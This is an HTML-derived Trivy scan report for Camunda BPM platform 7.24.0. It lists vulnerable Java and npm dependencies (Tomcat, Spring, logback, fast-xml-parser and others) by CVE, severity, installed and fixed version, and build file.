Trivy Scan Report
Report Information
| Generated At | 2026-05-27T03:34:09.705854-07:00 |
|---|---|
| --input | ./input/trivy-report-camunda-bpm-platform-7.24.0.json |
| --output | output/trivy-report-camunda-bpm-platform-7.24.0.html |
Vulnerability Summary
| Severity | Count |
|---|---|
| CRITICAL | 28 |
| HIGH | 75 |
| MEDIUM | 101 |
| LOW | 47 |
Vulnerabilities
| Severity | CVE | Package | Installed | Fixed | Target | Title |
|---|---|---|---|---|---|---|
| CRITICAL | CVE-2026-41293 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | Improper Input Validation vulnerability in Apache Tomcat. This issue ... |
| CRITICAL | CVE-2026-43512 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ... |
| CRITICAL | CVE-2026-43515 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | Improper Authorization vulnerability when multiple method constraints ... |
| CRITICAL | CVE-2026-22732 | org.springframework.security:spring-security-web | 6.5.3 | 6.5.9, 7.0.4 | distro/run/modules/oauth2/pom.xml | Spring Security: Spring Security: Security policy bypass and information disclosure due to unwritten HTTP headers |
| CRITICAL | CVE-2026-29145 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.116, 10.1.53, 11.0.20 | distro/tomcat/assembly/pom.xml | Apache Tomcat: Apache Tomcat: Authentication bypass due to CLIENT_CERT soft fail misconfiguration |
| CRITICAL | CVE-2026-41293 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | Improper Input Validation vulnerability in Apache Tomcat. This issue ... |
| CRITICAL | CVE-2026-43512 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ... |
| CRITICAL | CVE-2026-43515 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | Improper Authorization vulnerability when multiple method constraints ... |
| CRITICAL | CVE-2026-25896 | fast-xml-parser | 4.5.3 | 5.3.5, 4.5.4 | engine-rest/docs/package-lock.json | fast-xml-parser: fast-xml-parser: Cross-Site Scripting (XSS) due to improper DOCTYPE entity handling |
| CRITICAL | CVE-2016-1000027 | org.springframework:spring-web | 5.3.39 | 6.0.0 | qa/integration-tests-engine/pom.xml | spring: HttpInvokerServiceExporter readRemoteInvocation method untrusted java deserialization |
| CRITICAL | CVE-2019-10202 | org.codehaus.jackson:jackson-mapper-asl | 1.9.11 | qa/performance-tests-engine/pom.xml | codehaus: incomplete fix for unsafe deserialization in jackson-databind vulnerabilities | |
| CRITICAL | CVE-2022-22965 | org.springframework:spring-beans | 5.2.19.RELEASE | 5.2.20.RELEASE, 5.3.18 | qa/test-db-instance-migration/pom.xml | spring-framework: RCE via Data Binding on JDK 9+ |
| CRITICAL | CVE-2022-22965 | org.springframework:spring-beans | 5.2.8.RELEASE | 5.2.20.RELEASE, 5.3.18 | qa/test-db-instance-migration/pom.xml | spring-framework: RCE via Data Binding on JDK 9+ |
| CRITICAL | CVE-2022-22965 | org.springframework:spring-beans | 5.2.8.RELEASE | 5.2.20.RELEASE, 5.3.18 | qa/test-db-instance-migration/test-fixture-714/pom.xml | spring-framework: RCE via Data Binding on JDK 9+ |
| CRITICAL | CVE-2022-22965 | org.springframework:spring-beans | 5.2.19.RELEASE | 5.2.20.RELEASE, 5.3.18 | qa/test-db-instance-migration/test-fixture-717/pom.xml | spring-framework: RCE via Data Binding on JDK 9+ |
| CRITICAL | CVE-2016-4000 | org.python:jython | 2.5.3 | 2.7.1-rc1 | qa/tomcat-runtime/pom.xml | jython: Unsafe deserialization leads to code execution |
| CRITICAL | CVE-2016-4000 | org.python:jython | 2.5.3 | 2.7.1-rc1 | qa/tomcat9-runtime/pom.xml | jython: Unsafe deserialization leads to code execution |
| CRITICAL | CVE-2016-4000 | org.python:jython | 2.5.3 | 2.7.1-rc1 | qa/wildfly-runtime/pom.xml | jython: Unsafe deserialization leads to code execution |
| CRITICAL | CVE-2016-4000 | org.python:jython | 2.5.3 | 2.7.1-rc1 | qa/wildfly26-runtime/pom.xml | jython: Unsafe deserialization leads to code execution |
| CRITICAL | CVE-2026-41293 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Improper Input Validation vulnerability in Apache Tomcat. This issue ... |
| CRITICAL | CVE-2026-43512 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ... |
| CRITICAL | CVE-2026-43515 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Improper Authorization vulnerability when multiple method constraints ... |
| CRITICAL | CVE-2026-22732 | org.springframework.security:spring-security-web | 6.5.3 | 6.5.9, 7.0.4 | spring-boot-starter/starter-security/pom.xml | Spring Security: Spring Security: Security policy bypass and information disclosure due to unwritten HTTP headers |
| CRITICAL | CVE-2026-41293 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | Improper Input Validation vulnerability in Apache Tomcat. This issue ... |
| CRITICAL | CVE-2026-43512 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | DEPRECATED: Authentication Bypass Issues vulnerability in digest authe ... |
| CRITICAL | CVE-2026-43515 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | Improper Authorization vulnerability when multiple method constraints ... |
| CRITICAL | CVE-2026-25896 | fast-xml-parser | 4.3.4 | 5.3.5, 4.5.4 | webapps/frontend/package-lock.json | fast-xml-parser: fast-xml-parser: Cross-Site Scripting (XSS) due to improper DOCTYPE entity handling |
| CRITICAL | CVE-2025-7783 | form-data | 4.0.0 | 2.5.4, 3.0.4, 4.0.4 | webapps/frontend/package-lock.json | Use of Insufficiently Random Values vulnerability in form-data allows ... |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-classic | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | commons/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-core | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | commons/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-classic | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | commons/testing/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-core | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | commons/testing/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2025-55752 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.11, 10.1.45, 9.0.109 | distro/run/core/pom.xml | Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ... |
| HIGH | CVE-2026-24734 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.18, 10.1.52, 9.0.115 | distro/run/core/pom.xml | tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation |
| HIGH | CVE-2026-24880 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.52, 11.0.20 | distro/run/core/pom.xml | Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension |
| HIGH | CVE-2026-34483 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.54, 11.0.21 | distro/run/core/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve |
| HIGH | CVE-2026-34487 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.117, 10.1.54, 11.0.21 | distro/run/core/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files |
| HIGH | CVE-2026-41284 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | Allocation of Resources Without Limits or Throttling vulnerability in ... |
| HIGH | CVE-2026-42498 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | Exposure of HTTP Authentication Header to unexpected hosts during WebS ... |
| HIGH | CVE-2026-43513 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | distro/run/core/pom.xml | Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ... |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | distro/run/core/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | distro/run/core/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2025-41248 | org.springframework.security:spring-security-core | 6.5.3 | 6.4.10, 6.5.4 | distro/run/modules/oauth2/pom.xml | Spring Security annotation detection mechanism has authorization bypass |
| HIGH | CVE-2025-55752 | org.apache.tomcat:tomcat | 10.1.43 | 11.0.11, 10.1.45, 9.0.109 | distro/tomcat/assembly/pom.xml | Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ... |
| HIGH | CVE-2026-34483 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.116, 10.1.54, 11.0.21 | distro/tomcat/assembly/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve |
| HIGH | CVE-2026-34487 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.117, 10.1.54, 11.0.21 | distro/tomcat/assembly/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files |
| HIGH | CVE-2026-41284 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | Allocation of Resources Without Limits or Throttling vulnerability in ... |
| HIGH | CVE-2026-42498 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | Exposure of HTTP Authentication Header to unexpected hosts during WebS ... |
| HIGH | CVE-2026-43513 | org.apache.tomcat:tomcat | 10.1.43 | 9.0.118, 10.1.55, 11.0.22 | distro/tomcat/assembly/pom.xml | Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ... |
| HIGH | CVE-2026-26278 | fast-xml-parser | 4.5.3 | 4.5.4, 5.3.6 | engine-rest/docs/package-lock.json | fast-xml-parser: fast-xml-parser: Denial of Service via unlimited XML entity expansion |
| HIGH | CVE-2026-33036 | fast-xml-parser | 4.5.3 | 5.5.6, 4.5.5 | engine-rest/docs/package-lock.json | fast-xml-parser: fast-xml-parser: Denial of Service via XML entity expansion bypass |
| HIGH | CVE-2026-26996 | minimatch | 5.1.6 | 10.2.1, 9.0.6, 8.0.5, 7.4.7, 6.2.1, 5.1.7, 4.2.4, 3.1.3 | engine-rest/docs/package-lock.json | minimatch: minimatch: Denial of Service via specially crafted glob patterns |
| HIGH | CVE-2026-27903 | minimatch | 5.1.6 | 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.3 | engine-rest/docs/package-lock.json | minimatch: minimatch: Denial of Service due to unbounded recursive backtracking via crafted glob patterns |
| HIGH | CVE-2026-27904 | minimatch | 5.1.6 | 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.4 | engine-rest/docs/package-lock.json | minimatch: Minimatch: Denial of Service via catastrophic backtracking in glob expressions |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | engine/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | qa/integration-tests-engine-jakarta/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-classic | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | qa/performance-tests-engine/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2023-6378 | ch.qos.logback:logback-core | 1.2.11 | 1.3.12, 1.4.12, 1.2.13 | qa/performance-tests-engine/pom.xml | logback: serialization vulnerability in logback receiver |
| HIGH | CVE-2019-10172 | org.codehaus.jackson:jackson-mapper-asl | 1.9.11 | qa/performance-tests-engine/pom.xml | jackson-mapper-asl: XML external entity similar to CVE-2016-3720 | |
| HIGH | CVE-2020-26945 | org.mybatis:mybatis | 3.5.3 | 3.5.6 | qa/test-db-instance-migration/pom.xml | mybatis: mishandles deserialization of object streams which could result in remote code execution |
| HIGH | CVE-2022-22970 | org.springframework:spring-beans | 5.2.19.RELEASE | 5.2.22.RELEASE, 5.3.20 | qa/test-db-instance-migration/pom.xml | springframework: DoS via data binding to multipartFile or servlet part |
| HIGH | CVE-2022-22970 | org.springframework:spring-beans | 5.2.8.RELEASE | 5.2.22.RELEASE, 5.3.20 | qa/test-db-instance-migration/pom.xml | springframework: DoS via data binding to multipartFile or servlet part |
| HIGH | CVE-2020-26945 | org.mybatis:mybatis | 3.5.3 | 3.5.6 | qa/test-db-instance-migration/test-fixture-714/pom.xml | mybatis: mishandles deserialization of object streams which could result in remote code execution |
| HIGH | CVE-2022-22970 | org.springframework:spring-beans | 5.2.8.RELEASE | 5.2.22.RELEASE, 5.3.20 | qa/test-db-instance-migration/test-fixture-714/pom.xml | springframework: DoS via data binding to multipartFile or servlet part |
| HIGH | CVE-2022-22970 | org.springframework:spring-beans | 5.2.19.RELEASE | 5.2.22.RELEASE, 5.3.20 | qa/test-db-instance-migration/test-fixture-717/pom.xml | springframework: DoS via data binding to multipartFile or servlet part |
| HIGH | CVE-2026-42198 | org.postgresql:postgresql | 42.5.5 | 42.7.11 | qa/tomcat-runtime/pom.xml | jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication |
| HIGH | CVE-2026-42198 | org.postgresql:postgresql | 42.5.5 | 42.7.11 | qa/tomcat9-runtime/pom.xml | jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication |
| HIGH | CVE-2026-42198 | org.postgresql:postgresql | 42.5.5 | 42.7.11 | qa/wildfly-runtime/pom.xml | jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication |
| HIGH | CVE-2026-42198 | org.postgresql:postgresql | 42.5.5 | 42.7.11 | qa/wildfly26-runtime/pom.xml | jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter-client/spring-boot/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter-client/spring-boot/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2025-55752 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.11, 10.1.45, 9.0.109 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ... |
| HIGH | CVE-2026-24734 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.18, 10.1.52, 9.0.115 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation |
| HIGH | CVE-2026-24880 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.52, 11.0.20 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension |
| HIGH | CVE-2026-34483 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.54, 11.0.21 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve |
| HIGH | CVE-2026-34487 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.117, 10.1.54, 11.0.21 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files |
| HIGH | CVE-2026-41284 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Allocation of Resources Without Limits or Throttling vulnerability in ... |
| HIGH | CVE-2026-42498 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Exposure of HTTP Authentication Header to unexpected hosts during WebS ... |
| HIGH | CVE-2026-43513 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ... |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter-security/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41248 | org.springframework.security:spring-security-core | 6.5.3 | 6.4.10, 6.5.4 | spring-boot-starter/starter-security/pom.xml | Spring Security annotation detection mechanism has authorization bypass |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter-security/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2026-24400 | org.assertj:assertj-core | 3.27.4 | 3.27.7 | spring-boot-starter/starter-test/pom.xml | assertj: AssertJ: Information disclosure and denial of service via XML External Entity (XXE) |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter-test/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter-test/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2025-55752 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.11, 10.1.45, 9.0.109 | spring-boot-starter/starter-webapp-core/pom.xml | Relative Path Traversal vulnerability in Apache Tomcat. The fix for b ... |
| HIGH | CVE-2026-24734 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.18, 10.1.52, 9.0.115 | spring-boot-starter/starter-webapp-core/pom.xml | tomcat: Apache Tomcat: Certificate revocation bypass due to improper OCSP response validation |
| HIGH | CVE-2026-24880 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.52, 11.0.20 | spring-boot-starter/starter-webapp-core/pom.xml | Apache Tomcat: Apache Tomcat: HTTP Request/Response Smuggling via invalid chunk extension |
| HIGH | CVE-2026-34483 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.54, 11.0.21 | spring-boot-starter/starter-webapp-core/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure due to improper encoding in JsonAccessLogValve |
| HIGH | CVE-2026-34487 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.117, 10.1.54, 11.0.21 | spring-boot-starter/starter-webapp-core/pom.xml | Apache Tomcat: Apache Tomcat: Information disclosure via sensitive data in log files |
| HIGH | CVE-2026-41284 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | Allocation of Resources Without Limits or Throttling vulnerability in ... |
| HIGH | CVE-2026-42498 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | Exposure of HTTP Authentication Header to unexpected hosts during WebS ... |
| HIGH | CVE-2026-43513 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.118, 10.1.55, 11.0.22 | spring-boot-starter/starter-webapp-core/pom.xml | Improper Handling of Case Sensitivity vulnerability in LockOutRealm in ... |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter-webapp-core/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter-webapp-core/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2026-40973 | org.springframework.boot:spring-boot | 3.5.5 | 4.0.6, 3.5.14 | spring-boot-starter/starter/pom.xml | Spring Boot: Spring Boot: Arbitrary Code Execution and Session Hijacking via predictable temporary directory |
| HIGH | CVE-2025-41249 | org.springframework:spring-core | 6.2.10 | 6.2.11 | spring-boot-starter/starter/pom.xml | The Spring Framework annotation detection mechanism may not correctly ... |
| HIGH | CVE-2024-21490 | angular | 1.8.2 | webapps/frontend/package-lock.json | This affects versions of the package angular from 1.3.0. A regular exp ... | |
| HIGH | CVE-2026-26278 | fast-xml-parser | 4.3.4 | 4.5.4, 5.3.6 | webapps/frontend/package-lock.json | fast-xml-parser: fast-xml-parser: Denial of Service via unlimited XML entity expansion |
| HIGH | CVE-2026-33036 | fast-xml-parser | 4.3.4 | 5.5.6, 4.5.5 | webapps/frontend/package-lock.json | fast-xml-parser: fast-xml-parser: Denial of Service via XML entity expansion bypass |
| HIGH | CVE-2026-4800 | lodash | 4.17.21 | 4.18.0 | webapps/frontend/package-lock.json | lodash: lodash: Arbitrary code execution via untrusted input in template imports |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | clients/java/client/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | clients/java/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2024-12798 | ch.qos.logback:logback-core | 1.2.11 | 1.5.13, 1.3.15 | commons/pom.xml | ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core ... |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.2.11 | 1.5.19, 1.3.16 | commons/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | CVE-2024-12798 | ch.qos.logback:logback-core | 1.2.11 | 1.5.13, 1.3.15 | commons/testing/pom.xml | ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core ... |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.2.11 | 1.5.19, 1.3.16 | commons/testing/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.15.2 | 2.21.1, 2.18.6 | distro/jboss/webapp/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2025-11226 | ch.qos.logback:logback-core | 1.5.18 | 1.5.19, 1.3.16 | distro/run/core/pom.xml | QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | distro/run/core/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2025-48924 | org.apache.commons:commons-lang3 | 3.17.0 | 3.18.0 | distro/run/core/pom.xml | Uncontrolled Recursion vulnerability in Apache Commons Lang. This iss ... |
| MEDIUM | CVE-2025-66614 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 11.0.15, 10.1.50, 9.0.113 | distro/run/core/pom.xml | tomcat: Client certificate verification bypass due to virtual host mapping |
| MEDIUM | CVE-2026-25854 | org.apache.tomcat.embed:tomcat-embed-core | 10.1.44 | 9.0.116, 10.1.53, 11.0.20 | distro/run/core/pom.xml | Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve |
| MEDIUM | CVE-2026-22737 | org.springframework:spring-webmvc | 6.2.10 | 7.0.6, 6.2.17 | distro/run/core/pom.xml | Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views |
| MEDIUM | CVE-2026-22745 | org.springframework:spring-webmvc | 6.2.10 | 7.0.7, 6.2.18 | distro/run/core/pom.xml | spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows |
| MEDIUM | CVE-2026-22751 | org.springframework.security:spring-security-core | 6.5.3 | 6.5.10, 7.0.5 | distro/run/modules/oauth2/pom.xml | Spring Security: JdbcOneTimeTokenService: Spring Security: Authentication bypass due to race condition in One-Time Token login |
| MEDIUM | CVE-2026-22748 | org.springframework.security:spring-security-oauth2-jose | 6.5.3 | 6.5.10, 7.0.5 | distro/run/modules/oauth2/pom.xml | Spring Security: Spring Security: Integrity impact due to improper JSON Web Token (JWT) validation |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | distro/run/modules/rest/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | GHSA-72hv-8253-57qq | com.fasterxml.jackson.core:jackson-core | 2.19.2 | 2.21.1, 2.18.6 | distro/run/modules/webapps/pom.xml | jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition |
| MEDIUM | CVE-2026-22737 | org.springframework:spring-webmvc | 6.2.10 | 7.0.6, 6.2.17 | distro/run/modules/webapps/pom.xml | Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views |
